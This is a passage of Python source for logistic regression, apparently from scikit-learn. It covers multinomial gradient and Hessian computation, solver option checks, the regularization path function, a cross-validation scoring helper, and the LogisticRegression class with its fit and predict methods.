    if fit_intercept:
        grad[:, -1] = diff.sum(axis=0)
    return loss, grad.ravel(), p


def _multinomial_grad_hess(w, X, Y, alpha, sample_weight):
    """
    Computes the gradient and the Hessian, in the case of a multinomial loss.

    Parameters
    ----------
    w : ndarray, shape (n_classes * n_features,) or
        (n_classes * (n_features + 1),)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    Y : ndarray, shape (n_samples, n_classes)
        Transformed labels according to the output of LabelBinarizer.

    alpha : float
        Regularization parameter. alpha is equal to 1 / C.

    sample_weight : array-like, shape (n_samples,) optional
        Array of weights that are assigned to individual samples.

    Returns
    -------
    grad : array, shape (n_classes * n_features,) or
        (n_classes * (n_features + 1),)
        Ravelled gradient of the multinomial loss.

    hessp : callable
        Function that takes in a vector input of shape (n_classes * n_features)
        or (n_classes * (n_features + 1)) and returns matrix-vector product
        with hessian.

    References
    ----------
    Barak A. Pearlmutter (1993). Fast Exact Multiplication by the Hessian.
        http://www.bcl.hamilton.ie/~barak/papers/nc-hessian.pdf
    """
    n_features = X.shape[1]
    n_classes = Y.shape[1]
    fit_intercept = w.size == (n_classes * (n_features + 1))

    # `loss` is unused. Refactoring to avoid computing it does not
    # significantly speed up the computation and decreases readability
    loss, grad, p = _multinomial_loss_grad(w, X, Y, alpha, sample_weight)
    sample_weight = sample_weight[:, np.newaxis]

    # Hessian-vector product derived by applying the R-operator on the gradient
    # of the multinomial loss function.
    def hessp(v):
        v = v.reshape(n_classes, -1)
        if fit_intercept:
            inter_terms = v[:, -1]
            v = v[:, :-1]
        else:
            inter_terms = 0
        # r_yhat holds the result of applying the R-operator on the multinomial
        # estimator.
        r_yhat = safe_sparse_dot(X, v.T)
        r_yhat += inter_terms
        r_yhat += (-p * r_yhat).sum(axis=1)[:, np.newaxis]
        r_yhat *= p
        r_yhat *= sample_weight
        hessProd = np.zeros((n_classes, n_features + bool(fit_intercept)))
        hessProd[:, :n_features] = safe_sparse_dot(r_yhat.T, X)
        hessProd[:, :n_features] += v * alpha
        if fit_intercept:
            hessProd[:, -1] = r_yhat.sum(axis=0)
        return hessProd.ravel()

    return grad, hessp


def _check_solver_option(solver, multi_class, penalty, dual):
    if solver not in ['liblinear', 'newton-cg', 'lbfgs', 'sag']:
        raise ValueError("Logistic Regression supports only liblinear,"
                         " newton-cg, lbfgs and sag solvers, got %s" % solver)

    if multi_class not in ['multinomial', 'ovr']:
        raise ValueError("multi_class should be either multinomial or "
                         "ovr, got %s" % multi_class)

    if multi_class == 'multinomial' and solver == 'liblinear':
        raise ValueError("Solver %s does not support "
                         "a multinomial backend." % solver)

    if solver != 'liblinear':
        if penalty != 'l2':
            raise ValueError("Solver %s supports only l2 penalties, "
                             "got %s penalty." % (solver, penalty))
        if dual:
            raise ValueError("Solver %s supports only "
                             "dual=False, got dual=%s" % (solver, dual))


def logistic_regression_path(X, y, pos_class=None, Cs=10, fit_intercept=True,
                             max_iter=100, tol=1e-4, verbose=0,
                             solver='lbfgs', coef=None, copy=False,
                             class_weight=None, dual=False, penalty='l2',
                             intercept_scaling=1., multi_class='ovr',
                             random_state=None, check_input=True,
                             max_squared_sum=None, sample_weight=None):
    """Compute a Logistic Regression model for a list of regularization
    parameters.

    This is an implementation that uses the result of the previous model
    to speed up computations along the set of solutions, making it faster
    than sequentially calling LogisticRegression for the different parameters.
    Note that there will be no speedup with liblinear solver, since it does
    not handle warm-starting.

    Read more in the :ref:`User Guide <logistic_regression>`.

    Parameters
    ----------
    X : array-like or sparse matrix, shape (n_samples, n_features)
        Input data.

    y : array-like, shape (n_samples,)
        Input data, target values.

    Cs : int | array-like, shape (n_cs,)
        List of values for the regularization parameter or integer specifying
        the number of regularization parameters that should be used. In this
        case, the parameters will be chosen in a logarithmic scale between
        1e-4 and 1e4.

    pos_class : int, None
        The class with respect to which we perform a one-vs-all fit.
        If None, then it is assumed that the given problem is binary.

    fit_intercept : bool
        Whether to fit an intercept for the model. In this case the shape of
        the returned array is (n_cs, n_features + 1).

    max_iter : int
        Maximum number of iterations for the solver.

    tol : float
        Stopping criterion. For the newton-cg and lbfgs solvers, the iteration
        will stop when ``max{|g_i | i = 1, ..., n} <= tol``
        where ``g_i`` is the i-th component of the gradient.

    verbose : int
        For the liblinear and lbfgs solvers set verbose to any positive
        number for verbosity.

    solver : {'lbfgs', 'newton-cg', 'liblinear', 'sag'}
        Numerical solver to use.

    coef : array-like, shape (n_features,), default None
        Initialization value for coefficients of logistic regression.
        Useless for liblinear solver.

    copy : bool, default False
        Whether or not to produce a copy of the data. A copy is not required
        anymore. This parameter is deprecated and will be removed in 0.19.

    class_weight : dict or 'balanced', optional
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``.

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

    dual : bool
        Dual or primal formulation. Dual formulation is only implemented for
        l2 penalty with liblinear solver. Prefer dual=False when
        n_samples > n_features.

    penalty : str, 'l1' or 'l2'
        Used to specify the norm used in the penalization. The 'newton-cg',
        'sag' and 'lbfgs' solvers support only l2 penalties.

    intercept_scaling : float, default 1.
        Useful only when the solver 'liblinear' is used
        and self.fit_intercept is set to True. In this case, x becomes
        [x, self.intercept_scaling],
        i.e. a "synthetic" feature with constant value equal to
        intercept_scaling is appended to the instance vector.
        The intercept becomes ``intercept_scaling * synthetic_feature_weight``.

        Note! the synthetic feature weight is subject to l1/l2 regularization
        as all other features.
        To lessen the effect of regularization on synthetic feature weight
        (and therefore on the intercept) intercept_scaling has to be increased.

    multi_class : str, {'ovr', 'multinomial'}
        Multiclass option can be either 'ovr' or 'multinomial'. If the option
        chosen is 'ovr', then a binary problem is fit for each label. Else
        the loss minimised is the multinomial loss fit across
        the entire probability distribution. Works only for the 'lbfgs' and
        'newton-cg' solvers.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data. Used only in solvers 'sag' and 'liblinear'.

    check_input : bool, default True
        If False, the input arrays X and y will not be checked.

    max_squared_sum : float, default None
        Maximum squared sum of X over samples. Used only in SAG solver.
        If None, it will be computed, going through all the samples.
        The value should be precomputed to speed up cross validation.

    sample_weight : array-like, shape(n_samples,) optional
        Array of weights that are assigned to individual samples.
        If not provided, then each sample is given unit weight.

    Returns
    -------
    coefs : ndarray, shape (n_cs, n_features) or (n_cs, n_features + 1)
        List of coefficients for the Logistic Regression model. If
        fit_intercept is set to True then the second dimension will be
        n_features + 1, where the last item represents the intercept.

    Cs : ndarray
        Grid of Cs used for cross-validation.

    n_iter : array, shape (n_cs,)
        Actual number of iteration for each Cs.

    Notes
    -----
    You might get slightly different results with the solver liblinear than
    with the others since this uses LIBLINEAR which penalizes the intercept.
    """
    if copy:
        warnings.warn("A copy is not required anymore. The 'copy' parameter "
                      "is deprecated and will be removed in 0.19.",
                      DeprecationWarning)

    if isinstance(Cs, numbers.Integral):
        Cs = np.logspace(-4, 4, Cs)

    _check_solver_option(solver, multi_class, penalty, dual)

    # Preprocessing.
    if check_input or copy:
        X = check_array(X, accept_sparse='csr', dtype=np.float64)
        y = check_array(y, ensure_2d=False, copy=copy, dtype=None)
        check_consistent_length(X, y)
    _, n_features = X.shape
    classes = np.unique(y)
    random_state = check_random_state(random_state)

    if pos_class is None and multi_class != 'multinomial':
        if (classes.size > 2):
            raise ValueError('To fit OvR, use the pos_class argument')
        # np.unique(y) gives labels in sorted order.
        pos_class = classes[1]

    # If sample weights exist, convert them to array (support for lists)
    # and check length
    # Otherwise set them to 1 for all examples
    if sample_weight is not None:
        sample_weight = np.array(sample_weight, dtype=np.float64, order='C')
        check_consistent_length(y, sample_weight)
    else:
        sample_weight = np.ones(X.shape[0])

    # If class_weights is a dict (provided by the user), the weights
    # are assigned to the original labels. If it is "balanced", then
    # the class_weights are assigned after masking the labels with a OvR.
    le = LabelEncoder()
    if isinstance(class_weight, dict) or multi_class == 'multinomial':
        class_weight_ = compute_class_weight(class_weight, classes, y)
        sample_weight *= class_weight_[le.fit_transform(y)]

    # For doing a ovr, we need to mask the labels first. for the
    # multinomial case this is not necessary.
    if multi_class == 'ovr':
        w0 = np.zeros(n_features + int(fit_intercept))
        mask_classes = np.array([-1, 1])
        mask = (y == pos_class)
        y_bin = np.ones(y.shape, dtype=np.float64)
        y_bin[~mask] = -1.
        # for compute_class_weight

        # 'auto' is deprecated and will be removed in 0.19
        if class_weight in ("auto", "balanced"):
            class_weight_ = compute_class_weight(class_weight, mask_classes,
                                                 y_bin)
            sample_weight *= class_weight_[le.fit_transform(y_bin)]

    else:
        if solver != 'sag':
            lbin = LabelBinarizer()
            Y_multi = lbin.fit_transform(y)
            if Y_multi.shape[1] == 1:
                Y_multi = np.hstack([1 - Y_multi, Y_multi])
        else:
            # SAG multinomial solver needs LabelEncoder, not LabelBinarizer
            le = LabelEncoder()
            Y_multi = le.fit_transform(y)

        w0 = np.zeros((classes.size, n_features + int(fit_intercept)),
                      order='F')

    if coef is not None:
        # it must work both giving the bias term and not
        if multi_class == 'ovr':
            if coef.size not in (n_features, w0.size):
                raise ValueError(
                    'Initialization coef is of shape %d, expected shape '
                    '%d or %d' % (coef.size, n_features, w0.size))
            w0[:coef.size] = coef
        else:
            # For binary problems coef.shape[0] should be 1, otherwise it
            # should be classes.size.
            n_classes = classes.size
            if n_classes == 2:
                n_classes = 1

            if (coef.shape[0] != n_classes or
                    coef.shape[1] not in (n_features, n_features + 1)):
                raise ValueError(
                    'Initialization coef is of shape (%d, %d), expected '
                    'shape (%d, %d) or (%d, %d)' % (
                        coef.shape[0], coef.shape[1], classes.size,
                        n_features, classes.size, n_features + 1))
            w0[:, :coef.shape[1]] = coef

    if multi_class == 'multinomial':
        # fmin_l_bfgs_b and newton-cg accepts only ravelled parameters.
        if solver in ['lbfgs', 'newton-cg']:
            w0 = w0.ravel()
        target = Y_multi
        if solver == 'lbfgs':
            func = lambda x, *args: _multinomial_loss_grad(x, *args)[0:2]
        elif solver == 'newton-cg':
            func = lambda x, *args: _multinomial_loss(x, *args)[0]
            grad = lambda x, *args: _multinomial_loss_grad(x, *args)[1]
            hess = _multinomial_grad_hess
        warm_start_sag = {'coef': w0.T}
    else:
        target = y_bin
        if solver == 'lbfgs':
            func = _logistic_loss_and_grad
        elif solver == 'newton-cg':
            func = _logistic_loss
            grad = lambda x, *args: _logistic_loss_and_grad(x, *args)[1]
            hess = _logistic_grad_hess
        warm_start_sag = {'coef': np.expand_dims(w0, axis=1)}

    coefs = list()
    n_iter = np.zeros(len(Cs), dtype=np.int32)
    for i, C in enumerate(Cs):
        if solver == 'lbfgs':
            try:
                w0, loss, info = optimize.fmin_l_bfgs_b(
                    func, w0, fprime=None,
                    args=(X, target, 1. / C, sample_weight),
                    iprint=(verbose > 0) - 1, pgtol=tol, maxiter=max_iter)
            except TypeError:
                # old scipy doesn't have maxiter
                w0, loss, info = optimize.fmin_l_bfgs_b(
                    func, w0, fprime=None,
                    args=(X, target, 1. / C, sample_weight),
                    iprint=(verbose > 0) - 1, pgtol=tol)
            if info["warnflag"] == 1 and verbose > 0:
                warnings.warn("lbfgs failed to converge. Increase the number "
                              "of iterations.")
            try:
                n_iter_i = info['nit'] - 1
            except:
                n_iter_i = info['funcalls'] - 1
        elif solver == 'newton-cg':
            args = (X, target, 1. / C, sample_weight)
            w0, n_iter_i = newton_cg(hess, func, grad, w0, args=args,
                                     maxiter=max_iter, tol=tol)
        elif solver == 'liblinear':
            coef_, intercept_, n_iter_i, = _fit_liblinear(
                X, target, C, fit_intercept, intercept_scaling, None,
                penalty, dual, verbose, max_iter, tol, random_state,
                sample_weight=sample_weight)
            if fit_intercept:
                w0 = np.concatenate([coef_.ravel(), intercept_])
            else:
                w0 = coef_.ravel()

        elif solver == 'sag':
            if multi_class == 'multinomial':
                target = target.astype(np.float64)
                loss = 'multinomial'
            else:
                loss = 'log'

            w0, n_iter_i, warm_start_sag = sag_solver(
                X, target, sample_weight, loss, 1. / C, max_iter, tol,
                verbose, random_state, False, max_squared_sum, warm_start_sag)

        else:
            raise ValueError("solver must be one of {'liblinear', 'lbfgs', "
                             "'newton-cg', 'sag'}, got '%s' instead" % solver)

        if multi_class == 'multinomial':
            multi_w0 = np.reshape(w0, (classes.size, -1))
            if classes.size == 2:
                multi_w0 = multi_w0[1][np.newaxis, :]
            coefs.append(multi_w0)
        else:
            coefs.append(w0.copy())

        n_iter[i] = n_iter_i

    return coefs, np.array(Cs), n_iter


# helper function for LogisticCV
def _log_reg_scoring_path(X, y, train, test, pos_class=None, Cs=10,
                          scoring=None, fit_intercept=False,
                          max_iter=100, tol=1e-4, class_weight=None,
                          verbose=0, solver='lbfgs', penalty='l2',
                          dual=False, intercept_scaling=1.,
                          multi_class='ovr', random_state=None,
                          max_squared_sum=None, sample_weight=None):
    """Computes scores across logistic_regression_path

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    y : array-like, shape (n_samples,) or (n_samples, n_targets)
        Target labels.

    train : list of indices
        The indices of the train set.

    test : list of indices
        The indices of the test set.

    pos_class : int, None
        The class with respect to which we perform a one-vs-all fit.
        If None, then it is assumed that the given problem is binary.

    Cs : list of floats | int
        Each of the values in Cs describes the inverse of
        regularization strength. If Cs is as an int, then a grid of Cs
        values are chosen in a logarithmic scale between 1e-4 and 1e4.
        If not provided, then a fixed set of values for Cs are used.

    scoring : callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``. For a list of scoring functions
        that can be used, look at :mod:`sklearn.metrics`. The
        default scoring option used is accuracy_score.

    fit_intercept : bool
        If False, then the bias term is set to zero. Else the last
        term of each coef_ gives us the intercept.

    max_iter : int
        Maximum number of iterations for the solver.

    tol : float
        Tolerance for stopping criteria.

    class_weight : dict or 'balanced', optional
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

    verbose : int
        For the liblinear and lbfgs solvers set verbose to any positive
        number for verbosity.

    solver : {'lbfgs', 'newton-cg', 'liblinear', 'sag'}
        Decides which solver to use.

    penalty : str, 'l1' or 'l2'
        Used to specify the norm used in the penalization. The 'newton-cg',
        'sag' and 'lbfgs' solvers support only l2 penalties.

    dual : bool
        Dual or primal formulation. Dual formulation is only implemented for
        l2 penalty with liblinear solver. Prefer dual=False when
        n_samples > n_features.

    intercept_scaling : float, default 1.
        Useful only when the solver 'liblinear' is used
        and self.fit_intercept is set to True. In this case, x becomes
        [x, self.intercept_scaling],
        i.e. a "synthetic" feature with constant value equals to
        intercept_scaling is appended to the instance vector.
        The intercept becomes intercept_scaling * synthetic feature weight
        Note! the synthetic feature weight is subject to l1/l2 regularization
        as all other features.
        To lessen the effect of regularization on synthetic feature weight
        (and therefore on the intercept) intercept_scaling has to be increased.

    multi_class : str, {'ovr', 'multinomial'}
        Multiclass option can be either 'ovr' or 'multinomial'. If the option
        chosen is 'ovr', then a binary problem is fit for each label. Else
        the loss minimised is the multinomial loss fit across
        the entire probability distribution. Works only for the 'lbfgs' and
        'newton-cg' solver.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data. Used only in solvers 'sag' and 'liblinear'.

    max_squared_sum : float, default None
        Maximum squared sum of X over samples. Used only in SAG solver.
        If None, it will be computed, going through all the samples.
        The value should be precomputed to speed up cross validation.

    sample_weight : array-like, shape(n_samples,) optional
        Array of weights that are assigned to individual samples.
        If not provided, then each sample is given unit weight.

    Returns
    -------
    coefs : ndarray, shape (n_cs, n_features) or (n_cs, n_features + 1)
        List of coefficients for the Logistic Regression model. If
        fit_intercept is set to True then the second dimension will be
        n_features + 1, where the last item represents the intercept.

    Cs : ndarray
        Grid of Cs used for cross-validation.

    scores : ndarray, shape (n_cs,)
        Scores obtained for each Cs.

    n_iter : array, shape(n_cs,)
        Actual number of iteration for each Cs.
    """
    _check_solver_option(solver, multi_class, penalty, dual)

    X_train = X[train]
    X_test = X[test]
    y_train = y[train]
    y_test = y[test]

    if sample_weight is not None:
        sample_weight = sample_weight[train]

    coefs, Cs, n_iter = logistic_regression_path(
        X_train, y_train, Cs=Cs, fit_intercept=fit_intercept,
        solver=solver, max_iter=max_iter, class_weight=class_weight,
        pos_class=pos_class, multi_class=multi_class,
        tol=tol, verbose=verbose, dual=dual, penalty=penalty,
        intercept_scaling=intercept_scaling, random_state=random_state,
        check_input=False, max_squared_sum=max_squared_sum,
        sample_weight=sample_weight)

    log_reg = LogisticRegression(fit_intercept=fit_intercept)

    # The score method of Logistic Regression has a classes_ attribute.
    if multi_class == 'ovr':
        log_reg.classes_ = np.array([-1, 1])
    elif multi_class == 'multinomial':
        log_reg.classes_ = np.unique(y_train)
    else:
        raise ValueError("multi_class should be either multinomial or ovr, "
                         "got %d" % multi_class)

    if pos_class is not None:
        mask = (y_test == pos_class)
        y_test = np.ones(y_test.shape, dtype=np.float64)
        y_test[~mask] = -1.

    # To deal with object dtypes, we need to convert into an array of floats.
    y_test = check_array(y_test, dtype=np.float64, ensure_2d=False)

    scores = list()

    if isinstance(scoring, six.string_types):
        scoring = SCORERS[scoring]
    for w in coefs:
        if multi_class == 'ovr':
            w = w[np.newaxis, :]
        if fit_intercept:
            log_reg.coef_ = w[:, :-1]
            log_reg.intercept_ = w[:, -1]
        else:
            log_reg.coef_ = w
            log_reg.intercept_ = 0.

        if scoring is None:
            scores.append(log_reg.score(X_test, y_test))
        else:
            scores.append(scoring(log_reg, X_test, y_test))
    return coefs, Cs, np.array(scores), n_iter


class LogisticRegression(BaseEstimator, LinearClassifierMixin,
                         _LearntSelectorMixin, SparseCoefMixin):
    """Logistic Regression (aka logit, MaxEnt) classifier.

    In the multiclass case, the training algorithm uses the one-vs-rest (OvR)
    scheme if the 'multi_class' option is set to 'ovr', and uses the cross-
    entropy loss if the 'multi_class' option is set to 'multinomial'.
    (Currently the 'multinomial' option is supported only by the 'lbfgs',
    'sag' and 'newton-cg' solvers.)

    This class implements regularized logistic regression using the
    'liblinear' library, 'newton-cg', 'sag' and 'lbfgs' solvers. It can handle
    both dense and sparse input. Use C-ordered arrays or CSR matrices
    containing 64-bit floats for optimal performance; any other input format
    will be converted (and copied).

    The 'newton-cg', 'sag', and 'lbfgs' solvers support only L2 regularization
    with primal formulation. The 'liblinear' solver supports both L1 and L2
    regularization, with a dual formulation only for the L2 penalty.

    Read more in the :ref:`User Guide <logistic_regression>`.

    Parameters
    ----------
    penalty : str, 'l1' or 'l2', default: 'l2'
        Used to specify the norm used in the penalization. The 'newton-cg',
        'sag' and 'lbfgs' solvers support only l2 penalties.

    dual : bool, default: False
        Dual or primal formulation. Dual formulation is only implemented for
        l2 penalty with liblinear solver. Prefer dual=False when
        n_samples > n_features.

    C : float, default: 1.0
        Inverse of regularization strength; must be a positive float.
        Like in support vector machines, smaller values specify stronger
        regularization.

    fit_intercept : bool, default: True
        Specifies if a constant (a.k.a. bias or intercept) should be
        added to the decision function.

    intercept_scaling : float, default 1.
        Useful only when the solver 'liblinear' is used
        and self.fit_intercept is set to True. In this case, x becomes
        [x, self.intercept_scaling],
        i.e. a "synthetic" feature with constant value equal to
        intercept_scaling is appended to the instance vector.
        The intercept becomes ``intercept_scaling * synthetic_feature_weight``.

        Note! the synthetic feature weight is subject to l1/l2 regularization
        as all other features.
        To lessen the effect of regularization on synthetic feature weight
        (and therefore on the intercept) intercept_scaling has to be increased.

    class_weight : dict or 'balanced', default: None
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``.

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

        .. versionadded:: 0.17
           *class_weight='balanced'* instead of deprecated
           *class_weight='auto'*.

    max_iter : int, default: 100
        Useful only for the newton-cg, sag and lbfgs solvers.
        Maximum number of iterations taken for the solvers to converge.

    random_state : int seed, RandomState instance, default: None
        The seed of the pseudo random number generator to use when
        shuffling the data. Used only in solvers 'sag' and 'liblinear'.

    solver : {'newton-cg', 'lbfgs', 'liblinear', 'sag'}, default: 'liblinear'
        Algorithm to use in the optimization problem.

        - For small datasets, 'liblinear' is a good choice, whereas 'sag' is
            faster for large ones.
        - For multiclass problems, only 'newton-cg', 'sag' and 'lbfgs' handle
            multinomial loss; 'liblinear' is limited to one-versus-rest
            schemes.
        - 'newton-cg', 'lbfgs' and 'sag' only handle L2 penalty.

        Note that 'sag' fast convergence is only guaranteed on features with
        approximately the same scale. You can preprocess the data with a
        scaler from sklearn.preprocessing.

        .. versionadded:: 0.17
           Stochastic Average Gradient descent solver.

    tol : float, default: 1e-4
        Tolerance for stopping criteria.

    multi_class : str, {'ovr', 'multinomial'}, default: 'ovr'
        Multiclass option can be either 'ovr' or 'multinomial'. If the option
        chosen is 'ovr', then a binary problem is fit for each label. Else
        the loss minimised is the multinomial loss fit across
        the entire probability distribution. Works only for the 'newton-cg',
        'sag' and 'lbfgs' solver.

        .. versionadded:: 0.18
           Stochastic Average Gradient descent solver for 'multinomial' case.

    verbose : int, default: 0
        For the liblinear and lbfgs solvers set verbose to any positive
        number for verbosity.

    warm_start : bool, default: False
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.
        Useless for liblinear solver.

        .. versionadded:: 0.17
           *warm_start* to support *lbfgs*, *newton-cg*, *sag* solvers.

    n_jobs : int, default: 1
        Number of CPU cores used during the cross-validation loop. If given
        a value of -1, all cores are used.

    Attributes
    ----------
    coef_ : array, shape (n_classes, n_features)
        Coefficient of the features in the decision function.

    intercept_ : array, shape (n_classes,)
        Intercept (a.k.a. bias) added to the decision function.
        If `fit_intercept` is set to False, the intercept is set to zero.

    n_iter_ : array, shape (n_classes,) or (1, )
        Actual number of iterations for all classes. If binary or multinomial,
        it returns only 1 element. For liblinear solver, only the maximum
        number of iteration across all classes is given.

    See also
    --------
    SGDClassifier : incrementally trained logistic regression (when given
        the parameter ``loss="log"``).
    sklearn.svm.LinearSVC : learns SVM models using the same algorithm.

    Notes
    -----
    The underlying C implementation uses a random number generator to
    select features when fitting the model. It is thus not uncommon,
    to have slightly different results for the same input data. If
    that happens, try with a smaller tol parameter.

    Predict output may not match that of standalone liblinear in certain
    cases. See :ref:`differences from liblinear <liblinear_differences>`
    in the narrative documentation.

    References
    ----------

    LIBLINEAR -- A Library for Large Linear Classification
        http://www.csie.ntu.edu.tw/~cjlin/liblinear/

    Hsiang-Fu Yu, Fang-Lan Huang, Chih-Jen Lin (2011). Dual coordinate descent
        methods for logistic regression and maximum entropy models.
        Machine Learning 85(1-2):41-75.
        http://www.csie.ntu.edu.tw/~cjlin/papers/maxent_dual.pdf
    """

    def __init__(self, penalty='l2', dual=False, tol=1e-4, C=1.0,
                 fit_intercept=True, intercept_scaling=1, class_weight=None,
                 random_state=None, solver='liblinear', max_iter=100,
                 multi_class='ovr', verbose=0, warm_start=False, n_jobs=1):

        self.penalty = penalty
        self.dual = dual
        self.tol = tol
        self.C = C
        self.fit_intercept = fit_intercept
        self.intercept_scaling = intercept_scaling
        self.class_weight = class_weight
        self.random_state = random_state
        self.solver = solver
        self.max_iter = max_iter
        self.multi_class = multi_class
        self.verbose = verbose
        self.warm_start = warm_start
        self.n_jobs = n_jobs

    def fit(self, X, y, sample_weight=None):
        """Fit the model according to the given training data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training vector, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target vector relative to X.

        sample_weight : array-like, shape (n_samples,) optional
            Array of weights that are assigned to individual samples.
            If not provided, then each sample is given unit weight.

            .. versionadded:: 0.17
               *sample_weight* support to LogisticRegression.

        Returns
        -------
        self : object
            Returns self.
        """
        if not isinstance(self.C, numbers.Number) or self.C < 0:
            raise ValueError("Penalty term must be positive; got (C=%r)"
                             % self.C)
        if not isinstance(self.max_iter, numbers.Number) or self.max_iter < 0:
            raise ValueError("Maximum number of iteration must be positive;"
                             " got (max_iter=%r)" % self.max_iter)
        if not isinstance(self.tol, numbers.Number) or self.tol < 0:
            raise ValueError("Tolerance for stopping criteria must be "
                             "positive; got (tol=%r)" % self.tol)

        X, y = check_X_y(X, y, accept_sparse='csr', dtype=np.float64,
                         order="C")
        check_classification_targets(y)
        self.classes_ = np.unique(y)
        n_samples, n_features = X.shape

        _check_solver_option(self.solver, self.multi_class, self.penalty,
                             self.dual)

        if self.solver == 'liblinear':
            self.coef_, self.intercept_, n_iter_ = _fit_liblinear(
                X, y, self.C, self.fit_intercept, self.intercept_scaling,
                self.class_weight, self.penalty, self.dual, self.verbose,
                self.max_iter, self.tol, self.random_state,
                sample_weight=sample_weight)
            self.n_iter_ = np.array([n_iter_])
            return self

        if self.solver == 'sag':
            max_squared_sum = row_norms(X, squared=True).max()
        else:
            max_squared_sum = None

        n_classes = len(self.classes_)
        classes_ = self.classes_
        if n_classes < 2:
            raise ValueError("This solver needs samples of at least 2 classes"
                             " in the data, but the data contains only one"
                             " class: %r" % classes_[0])

        if len(self.classes_) == 2:
            n_classes = 1
            classes_ = classes_[1:]

        if self.warm_start:
            warm_start_coef = getattr(self, 'coef_', None)
        else:
            warm_start_coef = None
        if warm_start_coef is not None and self.fit_intercept:
            warm_start_coef = np.append(warm_start_coef,
                                        self.intercept_[:, np.newaxis],
                                        axis=1)

        self.coef_ = list()
        self.intercept_ = np.zeros(n_classes)

        # Hack so that we iterate only once for the multinomial case.
        if self.multi_class == 'multinomial':
            classes_ = [None]
            warm_start_coef = [warm_start_coef]

        if warm_start_coef is None:
            warm_start_coef = [None] * n_classes

        path_func = delayed(logistic_regression_path)

        # The SAG solver releases the GIL so it's more efficient to use
        # threads for this solver.
        backend = 'threading' if self.solver == 'sag' else 'multiprocessing'
        fold_coefs_ = Parallel(n_jobs=self.n_jobs, verbose=self.verbose,
                               backend=backend)(
            path_func(X, y, pos_class=class_, Cs=[self.C],
                      fit_intercept=self.fit_intercept, tol=self.tol,
                      verbose=self.verbose, solver=self.solver, copy=False,
                      multi_class=self.multi_class, max_iter=self.max_iter,
                      class_weight=self.class_weight, check_input=False,
                      random_state=self.random_state, coef=warm_start_coef_,
                      max_squared_sum=max_squared_sum,
                      sample_weight=sample_weight)
            for (class_, warm_start_coef_) in zip(classes_, warm_start_coef))

        fold_coefs_, _, n_iter_ = zip(*fold_coefs_)
        self.n_iter_ = np.asarray(n_iter_, dtype=np.int32)[:, 0]

        if self.multi_class == 'multinomial':
            self.coef_ = fold_coefs_[0][0]
        else:
            self.coef_ = np.asarray(fold_coefs_)
            self.coef_ = self.coef_.reshape(n_classes, n_features +
                                            int(self.fit_intercept))

        if self.fit_intercept:
            self.intercept_ = self.coef_[:, -1]
            self.coef_ = self.coef_[:, :-1]

        return self

    def predict_proba(self, X):
        """Probability estimates.

        The returned estimates for all classes are ordered by the
        label of classes.

        For a multi_class problem, if multi_class is set to be "multinomial"
        the softmax function is used to find the predicted probability of
        each class.
        Else use a one-vs-rest approach, i.e calculate the probability
        of each class assuming it to be positive using the logistic function.
        and normalize these values across all the classes.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        T : array-like, shape = [n_samples, n_classes]
            Returns the probability of the sample for each class in the model,
            where classes are ordered as they are in ``self.classes_``.
        """
        if not hasattr(self, "coef_"):
            raise NotFittedError("Call fit before prediction")
        calculate_ovr = self.coef_.shape[0] == 1 or self.multi_class == "ovr"
        if calculate_ovr:
            return super(LogisticRegression, self)._predict_proba_lr(X)
        else:
            return softmax(self.decision_function(X), copy=False)

    def predict_log_proba(self, X):
        """Log of probability estimates.

        The returned estimates for all classes are ordered by the
        label of classes.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        T : array-like, shape = [n_samples, n_classes]
            Returns the log-probability of the sample for each class in the
            model, where classes are ordered as they are in ``self.classes_``.
        """
        return np.log(self.predict_proba(X))


class LogisticRegressionCV(LogisticRegression, BaseEstimator,
                           LinearClassifierMixin, _LearntSelectorMixin):
    """Logistic Regression CV (aka logit, MaxEnt) classifier.

    This class implements logistic regression using liblinear, newton-cg, sag
    of lbfgs optimizer. The newton-cg, sag and lbfgs solvers support only L2
    regularization with primal formulation. The liblinear solver supports both
    L1 and L2 regularization, with a dual formulation only for the L2 penalty.

    For the grid of Cs values (that are set by default to be ten values in
    a logarithmic scale between 1e-4 and 1e4), the best hyperparameter is
    selected by the cross-validator StratifiedKFold, but it can be changed
    using the cv parameter. In the case of newton-cg and lbfgs solvers,
    we warm start along the path i.e guess the initial coefficients of the
    present fit to be the coefficients got after convergence in the previous
    fit, so it is supposed to be faster for high-dimensional dense data.

    For a multiclass problem, the hyperparameters for each class are computed
    using the best scores got by doing a one-vs-rest in parallel across all
    folds and classes. Hence this is not the true multinomial loss.

    Read more in the :ref:`User Guide <logistic_regression>`.

    Parameters
    ----------
    Cs : list of floats | int
        Each of the values in Cs describes the inverse of regularization
        strength. If Cs is as an int, then a grid of Cs values are chosen
        in a logarithmic scale between 1e-4 and 1e4.
        Like in support vector machines, smaller values specify stronger
        regularization.

    fit_intercept : bool, default: True
        Specifies if a constant (a.k.a. bias or intercept) should be
        added to the decision function.

    class_weight : dict or 'balanced', optional
